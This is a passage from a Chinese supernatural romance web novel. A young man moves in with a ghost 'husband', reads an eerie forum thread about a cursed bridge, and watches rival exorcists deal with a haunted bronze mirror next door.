程故眨眨眼:“我只需要顺其自然就行吗?”
“是。”言随笑笑,轻轻抓住他的手腕。
微凉的体温让程故身体微颤,还没来得及挣脱,言随抚摸着他手腕上的同心结说:“你工作时我不会露面,多半处于沉睡状态。如果有危险,同心结会告诉我,我会出现。”
程故反问:“那如果你有危险,我能感觉到吗?”
言随忍俊不禁:“我不会有危险。”
程故应下,想起自己之前多想,以为他握住自己的手要干什么,脸颊微燥。
言随收回手。
指尖上的凉意还残留在手腕,程故忍不住摩挲着,将那片皮肤摩挲热才停下动作。
没了睡意,他干脆起床打开灯,刻意不去看言随,下床进入卫生间洗漱。
“今天要去超市买日用品。”想起家里多了一个人……不人不鬼的存在,程故从卫生间探出脑袋,对言随说。
眉眼俊朗的男人跟着起来了,正在认真整理被子,闻言抬眸笑着应下一声。
程故老觉得这一幕看起来怪怪的,两个人相处得太过自然,像极了结婚多年的关系。
洗漱完,程故从柜子里翻出备用的新牙具,刚准备叫言随进来,脚步声响起,男人已然停在身后。
比他高的身影带来的压迫感不止一丁半点,程故还不太适应家里多了一个人,往旁边避开,将手中东西递给他。
“给。”
“谢谢。”言随接过道谢,敛眸刷着牙。
程故站在一旁,看着镜子里的两道人影不禁
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恍惚。
从今天开始,他要和言随在一起生活。
这么一想,心里滋生出一种非常异样的情绪,倒不是不适,反倒有点出乎意料的兴奋。
“你在想什么?”存在感极强的视线探来,程故回过神,对上镜中男人沾了水珠的脸。
他头发微湿了一点,贴在额头,脸上水流滚下,从喉结到锁骨,最后没入引人遐想的衣领,清俊的脸上多了几分性感。
程故不自觉咽了咽口水,颇为口干舌燥。
他不对劲。
一定是最近老是被鬼缠着跟着,导致他心气浮躁,情绪起伏很大。
对,这么为美色着迷,不是他。
言随注意到他紧紧黏在自己脸上的目光,弯唇笑了笑:“你很满意我这张脸。”
不是疑问,而是陈述事实。
程故仓皇错开视线,想反驳两句,在他的笑意下晃眼,说不出话,最后看向镜中自己的脸,鬼使神差地反问:“那你呢,满意我这张脸吗?”
“满意。”言随没有任何犹豫地回答。
这般迅速的回答,反而让程故不自在起来。
他抓抓头发,仓促点头之后离开卫生间:“你能吃饭吗?我去做早餐。”
言随说:“可以。”
十分钟后,程故端出两碗看着极没食欲的面。
“忘记跟你说了,我会做饭,但一般不怎么好吃。”程故挠挠耳朵,不好意思地将筷子递给言随,眼底闪烁着紧张与期待。
大学毕业后,他彻底一个人住,有了完整的厨房,开始研究自己糟糕的厨艺。
结果研究快一年,饭菜勉强入口,卖相一点没有。
“没关系。”言随接过筷子道谢,“我会做饭,以后我来做饭。家务也由我来负责,房租的话,目前我没办法给你,后面等我……”
他顿了顿:“等我可以挣钱时会还给你。”
程故愣住,半晌回不过神。
他其实没谈过恋爱,与何出齐的恋爱还没开始就结束了,也不知道正常情侣,不,正常像他们这样的夫夫是如何相处的。
此刻听见言随把家里一切都负责完了,程故多少有些迷茫,沉吟道:“那我做什么?”
“你只需要负责吃。”言随拉开椅子坐下。
他确实有实体,无论是接触椅子还是坐下,都发出了实音。
程故对他的身份更加好奇。
言随低头慢条斯理地吃着面,不忘夸赞程故:“很好吃,味道掌握得刚刚好。”
程故蓦然窘迫,认为他是硬夸,埋头干饭。
客厅里只剩下吃面条的声音。
程故想过家里多了一个鬼自己会不会有所不适,但完全没有,反而极为自然温馨。
吃过饭,言随接过碗进入厨房洗碗。
程故坐在桌前,听着厨房的水声,大脑还处于空白状态。
“辛苦了。”想半天,终于反应过来自己能说什么话,程故笑道,“我们等会去超市买些日用品,还有你的衣服。你的尺码是多少?你可以试衣服吗?”
水声结束,门打开关上,言随擦拭着手上的水,认真回答他:“我可以试衣服。”
他说话时喜欢盯着程故的眼睛,眼神会变得极为深邃温柔。
5. 第五章
第5章
“不怕。”言随思忖着,“与其说我是鬼,不如说我是不人不鬼的存在更合适一些。”
程故对他的了解又多了一点点。
客厅安静下来,怕自己深想一些有的没的,程故穿上外套:“那走吧,我们去逛商场。”
出门时言随藏起来了。
有了上次经验,这次坐出租车程故给他留位置自然多了。
看着前排师傅,程故想起昨晚那位司机师傅说过的话。
他打开手机,搜索连续出车祸,很快跳出新闻。
是一座桥。
同一个时间,同一个地点,甚至是同一个方向,一周之内出了三场车祸。
诸多巧合让网友各种猜测起来。
有人说这桥被诅咒过,从这周开始会一直不太平出事。
有人说这桥上闹鬼,数量太多,怨气之重使得出车祸的地方形成了一种煞地,人一旦靠近就会迷失。
还有人直接翻出以前新闻,一年前同样的大桥地点,也在同一天出过三场车祸。
不过这三场车祸是同一时间发生的。
第一辆车撞到桥边围栏,差点坠下。
第二辆车避之不及,撞开其他车,强硬怼到第一辆车屁股,将第一辆车直接怼下桥。
里面来不及逃生的人最终没能幸存。
而第三辆车明明刹住了,却像是油门有了意识,自动踩下撞飞第二辆车。
三辆车,前后间隔十几分钟,只有第三辆车的司机幸存下来。
这场事故五死一伤。
当时网友都被其他事件吸引了注意,知道这件事的少之又少。
程故点开评论,里面有条回复带着链接。
“你们没刷到这帖子吗?我当时看完之后又起了一小时鸡皮疙瘩,就是这边下去那边立刻又起来,弄得我三十多岁大男人把我爸叫醒,陪我一起睡,说的就是这个大桥。只是作者没出来回复过,结合帖子里所说的,这座大桥邪门至极,恐怕这三场车祸只是开始!”
“我建议立刻封了这座大桥。”
平安大桥,长度三千米,双向四车道。
这次车祸零死六伤,到目前为止,只有一个人醒了,就是第一天出车祸的司机。
他说自己开车开着好好的,眼前突然被一片黑雾笼罩了,踩了刹车,都已经停下,油门却自己动起来撞向围栏。
他拼命挣扎,才在车子掉下去后爬出驾驶位,后来失血太多晕了过去。
第二天,同样一辆车撞向同样的位置,直接把警示牌撞飞,并且车子坠入江内,车内三人受伤严重,至今还没清醒。
第三天,已经开始封锁大桥,但一辆车不要命驶来,从缺口飞下去。
车内两人受伤昏迷,伤到大脑,有成为植物人的倾向。
其他信息挖掘不多,程故点开后面跟着的链接。
手机卡顿两秒,跳转到新的页面。
红与黑的交错刺激的程故眼前一花,反射性将手机拿远一些。
适应之后,论坛没有想象中的花里胡哨,多数都是鲜红色和黑色色彩,比较重创眼球。
帖子发表时间是一年前,刚好是今天。
标题为:“我见鬼了,请问我该怎么办?”
只有标题,没有内容,发布后引来了一百多条嘲讽,楼主过几个小时才把内容发出来。
“前几天桥上不是出事了吗?封锁了几天,我上班要路过那座大桥,每次会往那方向看看,主要是想看施工进程。因为大桥封了,我上班绕远路非常麻烦。”
“第一天,我看到施工队旁边有个白色身影,还以为是施工队的人。”
“第二天,我又看到了白色身影,和第一天同样的姿势,同样的微侧对着我看向江面。我以为是我的错觉,也没多想,毕竟我最近加班严重,缺失睡眠,精神不怎么好。”
“但是没想到,第三天,我又看到了同样的背景。不同的是,她有变化,每天都会朝着我这边侧一点点的距离。也就是说,第一天她背对着我,微微侧,我只能看到她一点脸。第二天她对着我微侧,能看到侧脸。第三天,那张脸快要转成正脸了,肩膀朝着我所在的方向倾斜很多。”
“我觉得这人不对劲,或者是说这东西根本就不是人,谁能一直在同一个位置,就跟没离开过?”
车子到了,司机提醒下车。
程故沉浸故事中,被这么一提醒头皮一麻,一种寒凉感爬变背脊。
他收起手机,道谢后打开车门下车。
赶上周末,商场人非常多。
程故想和言随说话,又怕被其他人看到,把他当成疯子,强行忍住。
“稍等。”言随说,往前走了两步,进入前方隐蔽的门后。
几秒钟后,他迈步出来,程故明显感觉到身侧不少人的注意力都在他身上,目光随着他而动。
他能被人看到了。
程故眨眨眼,言随冲他笑笑,扫过身旁路过手牵手,十指相扣的情侣,朝他伸出手。
“牵手吗?”
程故盯着他极具诱惑力的手,没反应过来:“为什么?”
“他们都牵着手。”言随说,“我们不牵吗?”
程故视线转动,发现身边确实不少情侣,多数手牵手,少数亲密的拥着。
他脸颊微燥,一时间不知道该如何回答。
拒绝好像不太好,毕竟他们关系比情侣还深,牵个手而已。
但他怕十指相扣之后,胸腔里不安分加速跳动的心会瞬间暴露自己。
言随抬手,落在他头发上揉了揉:“马上中午,人会越来越多,我们快点逛完。”
随后他双手垂在身侧,没有再说牵手的事。
程故心情复杂,按住另一只差点抬起的手,胡乱地点点头。
身形颀长的男人脸色比墓地看着好多了,穿梭在人群中没有一点异样,就算有人发现他脸色太苍白,也只会觉得他是身体有恙导致的,不会多想。
程故甚至怀疑他是不是根本没有死去,而是处于一种活死人的存在。
但他很快发现,言随没有影子。
程故顿时抓着他的手走到阴影处,才快速松开,假装无事往前走去。
言随一顿,笑着跟上。
逛了一小时,买完日用品,程故又给言随买了几套衣服。
言随多次拒绝,没有成功后敛眸不知道在想什么。
“你等我一段时间。”他说,“我会还给你。”
“不用。”程故脱口而出,“我给自己老公买衣服不是正常……”
话拐个弯,知道自己说出什么的程故愣在原地,脸色羞红,差点咬住舌尖。
他怎么就这么自然地说出了自己老公四个字。
看言随的表情,似乎很满意他的这个称呼。
“谢谢。”言随揉了揉程故的脑袋。
即使强烈忽略,也能察觉脸颊滚烫的温度,他别扭无比地点着头。<
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p>回去的路上,程故为转移注意力,再次拿出手机开始刷那个帖子。
这篇帖子之后,楼主很久没有出现,其间各种人表明那座桥确实邪门,自己跟着看到很多乱七八糟的东西。
时隔七天,楼主在几百条担心他安慰的评论区内给了回复。
“没事了。”
简短的三个字,与以往发帖风格完全不同,而且发生这样的事,无论解决与否,都不可能只留下这一句话。
一时间帖子里各种猜测。
“楼主,你要是被夺舍了换个头像。”
“不对劲啊,这不可能是楼主。上面说了那么一大堆,今天更新就发了这一句?他再怎么样也会说下桥上的东西是什么吧。除非……”
“除非什么?楼上的说清楚啊,别跟楼主一样。”
“兄弟们,我上个厕所,回来就说。”
“……”
这趟厕所层主再也没有回来,反而最后是另一个层主,替他说出后面的话。
“除非,桥上的东西变成了他。”
看到这条评论的刹那,一股凉意从脚底蔓延全身,程故飞快滑动着评论,试图找到楼主其他回复。
但评论太多,一下难以翻完,他飞快切换成只看楼主,发现那三个字只是这个奇怪事情的开始。
“你们真奇怪,一堆人追着我问后续,后续就是没事了。那东西是我的幻觉,最近工作压力大,老被组长骂,我精神状态非常差,前些天没忍住去了医院精神科,拿药吃了后再没看到奇怪的东西。”
“你们不为我高兴就算了,怎么都巴不得我出事?”
“别蹲后续了,后续就是没有闹鬼!你们一个两个有完没完?”
“帖子里不止一个要说来真实我的,都给我记住了,我出什么事儿了,你们绝对跑不了。”
“有完没完?网上骂不够劲,真跑到线下了是吧?外面敲门的是不是你们这群无聊的人?”
“我开门了。”
帖子到这里再没后续。
看起来楼主听见敲门声,认为是网上的人来找他吵架了,愤怒地去开门了。
但后面发生了什么一无所知,只是从楼主急躁不耐烦地回复语气来看,他状态非常不好,可以用糟糕来形容。
更重要的是,没人知道这帖子到底是真的有鬼,还是假的。
程故切换成正常模式,看到许多网友的猜测。
“心情复杂,本来以为楼主要编故事,没想到走到这个结果。前几天看到有人报失踪,失踪的这人是楼主吧?”
后面跟着一张采访图,里面的人自称是失踪者的邻居,说这邻居脑子有病,每天一到十二点就拿脑袋撞墙,不撞满十二下不会停。
他从被折磨到暴躁再到习惯,直到有天深夜,发现这撞墙声没再响起,打开门一看,对面大门敞开着,里面空无一人,这才察觉不对报警。
诡异的是,小区监控几乎没有死角,这人想离开居住的楼,必定能出现在监控内,可是他出现监控内,警察把那栋楼翻过来也没能找到人。
最后只能定为失踪。
底下回复的人目瞪口呆。
“我去,当时他开门的时间确实接近半夜……这人去哪里了?”
“我就是这小区的人,无意间刷到这帖子,倒是知道这人失踪的事。非常邪门,除非这人会飞,不然他不可能不被监控拍下的情况消失。”
“不需要会飞,要是这人死了,也很好消失。”
6. 第六章
第6章
车子骤然停下,头皮发麻的程故猝不及防撞到前方椅背。
身侧的言随没来得及扶住他,还保持着去扶他额头的姿势。
“没事。”程故坐直身体,被这么一打岔,原本沉浸帖子里的毛骨悚然感消失。
他侧身看向前方:“怎么了师傅?”
“有人吵架。”司机骂骂咧咧地将车子手刹挂起,解开安全带就要下车。
程故抬眼望去。
前方道路并不宽敞,只有一条车道的双向道。
而车子前方站着一伙人,面色激动的不知道在说什么,直接把路挡完,导致后面的车完全过不去。
程故一眼注意到十几个人中有三个人穿着一样的衣服,似乎是某公司的工作服,表情都不怎么好看,全在摆弄手机。
最后有一人拨通电话走到一旁不知道在说什么。
“搞什么?”司机下车,凶狠地挥动着手,“马路你们家开的啊?站在一边别挡路。”
“抱歉啊。”人群中一个中年男人歉意地冲司机笑笑,招呼着其他人走到一旁。
“浪费时间。”大多数人表情不太好,纷纷吐槽着什么,最后不打招呼离开了大半。
原地只剩下五个人,加上在旁边打电话的男人,和中年男人,还剩下七人。
“让让。”司机不客气地抓着依旧挡在路中间的两人。
“哎。”被抓住的人举起双手,一副你敢碰我的嚣张样,“谁让你抓我的?信不信你三天之内必倒霉。”
这声音太大,程故听得一清二楚,歪着脑袋下意识问言随:“真的吗?”
“什么?”言随偏头看来。
程故不仅脑袋歪,身体也向言随那边倾斜,导致快贴上言随。
随着言随这么一偏头,唇瓣停留的方向刚好是程故的耳朵。
微凉的呼吸声洒在耳朵,程故一怔,浑身抖动几下,捂着耳朵坐直身体,努力平静道:“那个人随口说的倒霉是真的还是假的?”
言随似笑了一声,太多短促,程故没来得及确定他就面色淡淡地看向外面,语气低沉:“假的。”
程故信他,再看男人那趾高气扬,和司机说大话的样子蹙眉心生厌烦。
不要命挡在路中间给别人添麻烦就算了,还恐吓。
“放你狗皮。”司机又不是吓大的,做这行的什么难缠的客人没遇到过,早就练出一身本领,用力推开男人,“要吓人站一边吓,别在马路中间丢人现眼。”
“啊,马路中间。”男人像是才发觉自己的站位,这次没跟司机多说什么,乖乖地站在一边,顺带把另一个人也拉过来。
司机返回车内,向程故道歉后继续开车。
程故视线落在依旧在打电话的那人身上。
很奇怪,明明车窗没打开,车子离他距离不算近,外面吵闹声不止,可他却能清楚听见男人和电话那边的人交谈声。
“这人不守信用,叫了十几个人来,我觉得没必要接这单。”
“现在人离开得差不多,还剩下两拨人。”
“都是奔着钱来的骗子,张口要八十万。雇主也是个傻的,一口应下。现在那两拨人为了这钱死活不肯离开,装模作样骗人,还反过来说我们是骗子。”
“……千月气得想打人,被周笙拦下了。”
车子远离,直到在看不见打电话的男人,程故惊讶地面向言随,指了指自己的耳朵,做手势询问:“我为什么能听见?”
手势不太标准,言随表情略微疑惑,最后大约猜出他的想法,笑着开口:“可能是你听力太好。”
程故听力是比一般人好,却没好到这种程度,那些话好像是故意让他听见的。
车子驶入隧道,车灯亮起。
程故打着哈欠看向前方,骤然注意到副驾驶不知道什么时候多了个面色苍白的黑影,双肩一紧,差点叫出声。
言随在自己身边,这些东西怎么敢离自己这么近?
他胆战心惊地看向言随,各种使眼色,很快发现那黑影没看这边,只是死死地斜着眼珠子瞪着开车的司机。
为司机而来?
程故一怔,冷静许多。
黑影扭头,这才注意到后排的程故,本来是随意一瞥,对上程故那双因为震惊而睁大的眼眸,猛地回头。
它发现自己能看到它。
程故心脏狠狠一跳,僵着脖颈,眨着眼看向别处,假装没看到。
这么短时间,他已经辨认出黑影的模样。
看上去三十多岁,黑长发,脸小而精致,穿着一身西装,单眼皮,鼻梁很高,五官秀气耐看。
如果不是因为脸色太白,是一张很出众的脸,此刻满脸怨气。
它凑近程故,为了验证他是否能看到,直接贴在程故面前,眼珠子和五官扭曲在一起,鲜血顺着脑门流淌,然后张开大嘴,露出殷红的舌头,表情吃人一般扭曲。
直到它视线挪动,注意到副驾驶后面还有一位存在。
四目相对,黑影霎时一僵,缩着脑袋顷刻间消失不见。
“怎么这么冷。”司机嘀咕着,“还没到冬天啊,你们觉得冷吗?就刚刚,现在好了很多。”
程故看着空荡的副驾驶,疑惑地瞥向言随。
是害怕言随所以消失了?
他笑笑没回答司机,下车时询问言随那黑影是不是怕他。
“算是。”言随回答得模棱两可,“死得越久越有存在感,越厉害。”
“你死了多久?”程故发觉太冒昧,赶紧道歉,“抱歉,我不是那个意思。”
“没关系。”言随笑了笑,“很久了。”
他还是没有说多久。
程故回想着当时看到的墓碑,应该没有超过十年。
比起来刚死几年的鬼,确实死很久了。
他提着东西,拒绝言随帮忙:“其他人看不到你,也没必要为了这点东西特意出现帮我。”
言随顿了顿,语气低了下去,听着略带委屈:“你不想被人知道和我住在一起吗?”
没等程故回答,他捂着嘴剧烈咳嗽起来,后颈与肩膀不停颤动,眉眼苍白病弱,风一吹就能晕倒。
“不是。”程故见状心一抽,连忙解释,“我是怕太麻烦你。就一袋子东西,我提就够了。”
袋子里东西虽然多,却没多重,程故提高给言随看,自说自话的举动吸引了小区门口一堆人的注视。
“快走,有人看我。”程故脸颊一热,生怕被人过来询问要不要去医院看脑子,扯了下缓和很多的言随,快步进入小区。
到家后,他将言随的衣服放入洗衣机,坐在沙发上休息,顺带瞥了一眼时间。
中午了,言随说的工作还没出现。
程故准备点外卖,刚打开软件,听到楼下吵闹声,走到窗前探出脑袋一看,底下一堆人。
正是坐车回来时,挡在马路中间的那些。
程故微微讶异
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,没想到是一个小区的人。
“别吵了。”中年男人无奈抬手劝和,“你们都是我花钱请来的,谁有本事谁收大头不行吗?”
程故想起之前听到的内容。
其他人应该是这个中年男人请来解决什么事的,价格高达八十万。
什么事能这样请人来。
程故隐约有了猜测,再看那穿着工作服的三人,眼皮一跳。
难道言随说的工作就是这三人的公司。
他注意到工作服上有个logo,努力睁大眼想看清楚。
“清越。”言随不知何时站在他身侧,准确说出logo。
“是这个公司?”程故问。
“不确定。”
穿着工作服的男人极为敏锐,在程故将视线落在他身上的那一刹,立刻抬头追随而来。
隔着高空对上视线,程故眼皮一跳,反射性错开目光,余光瞥见对方似乎皱了下眉。
距离太远,无法准确看清,只能听见几人争吵的声音。
“把他们都弄走,要么留我,要么留他们。”
“我也不跟这群人一起。”
“……”
三拨人,唯一没说话的只有穿着工服的三人。
中年男人甚至已经冒出先让这三人离开的想法,瞅瞅三人,蓦然对上男人凛冽锐利的目光,顿时一哆嗦,放弃了想法。
“那什么……”中年男人低咳几声,“这样吧,你们谁能尽快解决,我就给谁支付钱,剩下的没办法,比拼速度,这总可以吧?”
先前恐吓程故司机的年轻男人双手环臂,高傲地点头,没看另外两拨人:“不用想,肯定是我们,另外的一看就是骗子,有什么本事。”
他扯了下身旁人背着的包,里面道具哗啦啦作响。
另外一拨人是个年纪要大很多的男人,闻言笑呵呵道:“道具有什么用,有真本事的人,只要露面就能解决一切。你放心,这件事只要交给我,绝对能妥善解决,那吓人的东西我让它活不过明天。”
年轻男人呵呵鄙夷,更为高傲。
一旁的李千月抬手揉着太阳穴,嘴角抽搐好几下:“真不能放弃吗?”
“不能。”罗幸摊手,满脸无辜,“可不是我决定的,你别记我仇啊,回公司可以找组长发泄。”
李千月叹息,轻轻扭动着手腕。
一旁的年轻男人挥手:“这三人一看就不中用,先把她们赶走再说。”
周竹笙再不喜欢和别人说话,听到这欠扁至极的话也有些无语。
她从李千月身后探出脑袋,冷不丁睨着年轻男人:“你更不中用,别到时候被吓哭了。”
“放心,哭得只有你们这种骗子。”年轻男人说。
“今年骗子真多。”李千月面无表情拿出手机摆弄。
五人群里全是她各种殴打人的表情包,直接刷屏。
没人敢说话。
“别废话了。”李千月收起手机,只想赶紧解决这个任务离眼前这些人远点,“带路吧。”
“呵呵。”年轻男人又是一声冷笑。
看着他们要动身,程故关好窗户,好奇他们是哪栋楼。
离他这栋还挺近,难道是他这里的。
这个想法刚落下,外面响起杂乱的脚步声,以及男人讨好的笑声。
“请进请进,不用换鞋,随便踩,没关系的。”
程故一愣。
这声音……是他对门。
7. 第七章
第7章
他下意识走到门口,通过猫眼看向外面,果然看到对面大门敞开。
这小区有点年头了,这层住的更是没几个人。
程故知道对门有人住,一直没碰到过对方,没想到会在这种场景下见到。
“感兴趣的话可以去看看。”言随站在他身侧说。
对面大门没关,几人因为这个再次起争执。
年轻男人要关上,穿着工作服的男人不让关。
“整间屋子阴气本来就重,再不开门让点生气进来,你这房子直接废了。”
果然是来解决灵异事件,程故好奇心瞬间被勾起来。
“别听他的,这话一听就不是专业的,你把门打开,里面的东西要是跑了怎么办?”年轻男人嗤之以鼻。
“你当那些东西是人呢?”李千月匪夷所思地打量着年轻男人,“跑就直接跑了,还会从大门跑?”
周竹笙压住身侧的包:“要上东西吗?”
他们声音不算小,程故就算在门里也能听见,没着急出去。
他怕出去了那些人不想让他看到。
“不。”罗幸摇头示意不用,双手插进裤子口袋,露出一副看戏的表情,“这不是有人很厉害吗?我们不用出手,看他来操作。”
年轻男人一愣,嘴角噙笑对中年男人说:“看到没,这三个人根本没本事,就是来浑水摸鱼的,你还要留下他们浪费时间?”
请人来,又去接人,从头到尾花费了一天时间,只想解决事,并不在乎谁能解决的中年男人累了。
他无奈挥手道:“几位大师,可以不斗嘴尽快解决吗?钱我有的是,主要是房子里的东西,需要尽快,不然硬生生耗死我啊。”
脚步声响起,随后是很重的关门声,里面发生的一切就算程故听力再好也没办法听见。
他颇为失望地叹口气:“还想围观一下的,没机会了。”
“没事。”言随抬手,似想摸他的脑袋,手都伸出去了发现这个动作对于现在两人关系太亲密,停在半空后收回道,“你可以过去,敲门告诉他们你也碰到了灵异事件,想请他们一起。如果不行,你就对那些穿着工作服的人报出生辰八字。”
“生辰八字?”程故疑惑,视线落在他的手上,“什么意思?”
“他们公司应该是招收特殊命格的人作为员工。”言随解释道。
程故蠢蠢欲动,他确实挺好奇这件事的后续,更加好奇这是不是自己以后的工作。
手放在门把手上,准备开门的刹那,他想起什么,问言随:“你跟我一起过去吗?会不会被他们发现?”
“只要我不想,他们发现不了。”言随说。
程故放心了,让他跟着自己。
不知道为什么,程故非常信任言随,看到他会有一种莫大的安全感。
开门时程故想起前不久言随说的那句“命中注定”。
也许他和言随真的是命中注定,只接触短短两天,便能感到与言随非常契合。
——灵魂上的契合。
程故停在对门前,犹豫了一会儿,抬手轻敲门。
“谁啊?”中年男人的声音响起,他很警惕,没开门。
程故听见挪开猫眼盖子的声音,知道男人在透过猫眼看自己,于是开口:“你好,我刚听见你好像请了一些专业人士过来,我也碰到了一些需要专业人士的事,你能让我进去看看吗?我不会打扰你们的。”
“谁啊?”门后年轻男人问。
中年男人一说,他顿时双眼放光:“进来呗,又没啥。”
又来了一份赚钱的机会,年轻男人见中年男人还在犹豫,生气道:“我说放进来,你听不懂吗?”
另外几人没说话,中年男人迟疑片刻,打开门。
程故没想到真能成功,看到打开的门有些茫然。
他长相本就好看,此刻一脸茫然无措,更是显得温润乖巧。
年轻男人一看忍不住乐了,搓搓手:“你想找我们?别急,等这边的事解决了,我立刻就去帮你。”
边说他边朝着程故靠近,色眯眯的眼神让程故觉得自己好像是刚出炉的红烧肉,心里生出几分厌恶,眼神极度嫌弃地避开他,走到穿着工作服的三人旁边站着。
程故脸上一旦有表情,再没任何好接触的感觉,满身锋利,仿佛团成球的刺猬,随时能扎人满身刺。
年轻男人有些悻悻然地收回目光。
罗幸从程故进来时就直勾勾地盯着他。
对上那明晃晃探究的眼神,程故一怔,背脊下意识绷紧,眼神躲闪地瞥了眼跟在自己身边的言随。
“别怕。”言随轻声说,“他们看不到我。”
“你看什么?”李千月拍了下罗幸的肩膀,“人家是长得好看,你老是盯着人家太不礼貌了。”
“不是。”罗幸眼神依旧没有挪开,甚至没有避讳其他人,直言道,“你们两个没感觉到吗?”
“什么?”周竹笙问。
“他进来之后,房间里好像多了什么。”罗幸蹙眉,淡淡地说。
李千月一顿,视线将程故从头打量完,没说什么。
程故莫名心虚,努力不和几人眼神对上。
“装什么?”年轻男人听到他们的话故意讽刺道,凑到程故面前,微笑着伸出手,“你好,我叫陈沢,你碰到什么了?找我可以给你优惠,别找其他人,他们都是骗子。”
“别忘记正事了。”同行的人见他恨不得黏在程故身上,抓着他小声提醒。
“是感觉到,应该没什么。”李千月没搭理陈沢的话,只说,“别盯着人家了,没看到人家……”
她视线陡然注意到一抹红,后面的话没说出来。
程故顺着她的余光注意到自己手腕上的红绳,下意识问:“这个有什么吗?”
“没。”李千月摇头,及时挪开目光,没再说什么。
程故疑惑眨眼,罗幸终于不看他了。
“各位,赶快各显神通吧。”中年男人苦笑一声催促。
程故后退两步,悄声问言随:“刚刚那人为什么看绳子?这个有什么吗?”
“没关系,不用担心。”言随顿了顿,“他们应该是注意到你和常人不同,没事。”
沉稳的嗓音宛如定心剂,程故不再胡思乱想,专注地看着前方,想知道他们处理灵异事件。
“那个人你们能看出什么?”周竹笙小声问李千月。
“看不出。”李千月回答,“就是他进来的时候,房间里多了点什么,说不出才打量他。他手上的绳子不一般,这件事处理完后问问他缺不缺工作,不缺的话问他缺不缺兼职。”
“我吗?”周竹笙指着自己,纠结道,“还是罗幸吧。”
“他不行。”李千
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月斜睨了眼还在偷打量程故的罗幸,“让他去估计光问别人隐私了,他你还不知道吗?”
干她们这行的,多少有点不想为人知的秘密,但罗幸好奇心太重,喜欢打破砂锅问到底,最终被人不满质问。
“好吧。”周竹笙叹口气,在心里想着等会怎么介绍。
前不久她鼓起勇气问过一个人,要不要来她们公司工作。
介绍完工作内容后,对方要帮她打120,送她进精神病院。
她说出高新工资,对方改口要报警,说她是诈骗,拐卖人口噶腰子的。
最后周竹笙差点被送警局,从那之后不想和人说话,更加不想去问别人要不要来公司的事。
不过这次不一样,对方来就是寻求她们帮助的,会比之前简单。
“老头,把东西拿出来啊。”陈沢催促道,“你这边解决了,我还要给他解决呢,快点。”
那让人浑身起鸡皮疙瘩的黏腻眼神望来,程故不爽皱眉,冷着脸色回瞪。
陈沢原本还笑嘻嘻的,直到身体骤然感受到什么,背脊一凉,刺骨的寒意从尾椎爬上脖颈,毛孔不受控制地张开,无声提醒着他有危险。
空气中似乎多了他看不到的存在,陈沢搓搓手臂,觉得是自己多想了。
中年男人才刚五十,被叫老头,气得翻着白眼差点把人撵出去,忍了半天才进入卧室。
这间屋子比程故居住的空间大,三室一厅,男人进了主卧,没多久搬出一个被红布盖着的东西。
“什么东西还神秘兮兮地遮住。”陈沢嗤笑道,“赶紧拿下来啊。”
同伴闻言扯了扯他的衣服,他这才反应过来,低咳两声没再说话。
男人说:“布不能扯,之前给我出招的人说过,布一旦扯下,那东西就会出来。”
另一个自始至终没说话的男人眯着眼打量着红布,在中年男人想扯下红布的时候忽然开口:“等下。”
中年男人动作一顿,抬头见他变了脸色,哆嗦着:“大师,怎么了?不能掀开吗?”
男人脸色难看地围绕着红布走动一圈,最后笑了:“那什么,我突然想起来还有个事没解决,在你之前,时间来不及了,我得先去处理那位。你这个任务,我自动退出,反正还有他们。”
他转身就要走,中年男人见状呆住,嘴唇抖动地念叨着:“又是这样,又是这样。”
中年男人叫包冠林,前不久请过几批人,基本都是见到他手中的东西直接跑了。
红布还是他当时崩溃,跪求大师帮忙,人家才给他的,最多能压制那东西一周。
这次包冠林生怕又出现扭头就跑的事,才一次性请了很多大师。
男人打开大门,嘴角还挂着笑。
关上门那一刹那,逃跑速度快到就跟这房间里有洪水猛兽般。
这一变故让陈沢呆住,和同伴对望一眼,生出几分犹豫。
程故疑惑地歪着脑袋问言随:“那人跑了?这红布下面是什么?他没看就吓跑了。”
他只能隐约感觉到红布下不是什么好东西,瞥一眼就让人内心发怵。
“铜镜。”言随回答。
程故眼皮乱跳:“铜镜?”
“红布是懂行的人给的。”言随解释道,“辟邪镇压。”
“打开吧。”罗幸说。
包冠林咬牙,抓住红布一角,缓缓掀开。
8. 第八章
第8章
一个圆铜镜缓缓露出,镜身光滑,但看着有年代了,镜面上有很多划痕,无法照出人影,侧面和后面刻着复杂的纹路。
红布一拿开,程故觉得房间里的温度都变了,似来到了深冬,身处于冰天雪地之中。
不过打量那铜镜三秒,他骤然头晕眼花,脑中意识混乱模糊,耳边响起悲戚的哭声,一时之间分不清自己所在何地,直到肩膀一痛。
言随扶着程故的肩膀略微用力,见他眼眸清明,恢复意识才收回手。
“别看镜子,能蛊惑人心。”
程故点点头,视线避开那镜子。
包冠林站在镜子后面,指着镜子说:“这东西是我偶然得到的,拿回家后就没太平过。一开始是晚上能听见奇怪的哭声,看到黑色的影子,再后来就是家里多了一个看不到的存在。”
“各位大师一定要救救我啊。”
“这就是事情全部经过吗?”陈沢问。
包冠林眼神略微躲闪,迟疑道:“是,基本上就是这样了。”
“来的时候你什么都没有说,说到了告诉我们,现在到了又只说这么两句话,你框谁呢?”李千月不耐烦道,“如果你连实话都不想告诉,那我们也要退出了。”
“别啊。”包冠林闻言急了,双手合十,面色纠结片刻,“我要是实话实说了,各位大师千万不要离开,我就只能靠你们了。如果你们离开,我会死的。”
罗幸面无表情:“那要看看你的话有几分真了。”
陈沢小拇指伸进耳朵里转了转:“不用担心,只要你不撒谎,我定能帮你解决。”
大话说起来眼睛都不眨一下,程故认为他不能信,相反包冠林对他极为信任,老泪纵横,差点冲上去抱住他的大腿。
“他是真的吗?”程故趁没人注意自己,凑近言随问。
脸颊感受到一点微凉的呼吸,他这才发现自己距离言随太过近了,以至于再贴近一点就会与言随脸贴脸。
“再看看。”言随说,似乎没注意程故此刻距离自己极近,微微偏了头,薄唇瞬间擦过程故的脸颊。
柔软的触感让言随微怔。
反应巨大的是程故,他骤然一抖,捂着脸倒退两步,眼神惊慌地与言随四目相对。
“抱歉。”言随歉意至极,用手掩住唇瓣低咳两声,“我没注意。”
“不用,是我的问题。”程故急忙摆手,声音没控制住,有些大,导致其他人顿时看来。
其中罗幸说的话最耐人寻味:“你在跟谁说话?”
探究试图发现什么的目光让程故身体僵硬,立刻放下手,绷着下巴:“没什么,我刚刚在思考事情,比较激动自言自语了一下。”
罗幸将信将疑,眯着眼盯着他周围。
言随还在低咳,脸色越发苍白,程故不禁担忧,但此刻被这么多人注视他也没办法询问。
“我屋子里难道有另一个存在?”包冠林激动地问程故,“你看到什么了吗?”
“真是我自言自语。”程故无奈道,“我最近压力大,喜欢自言自语,你们别乱想了。”
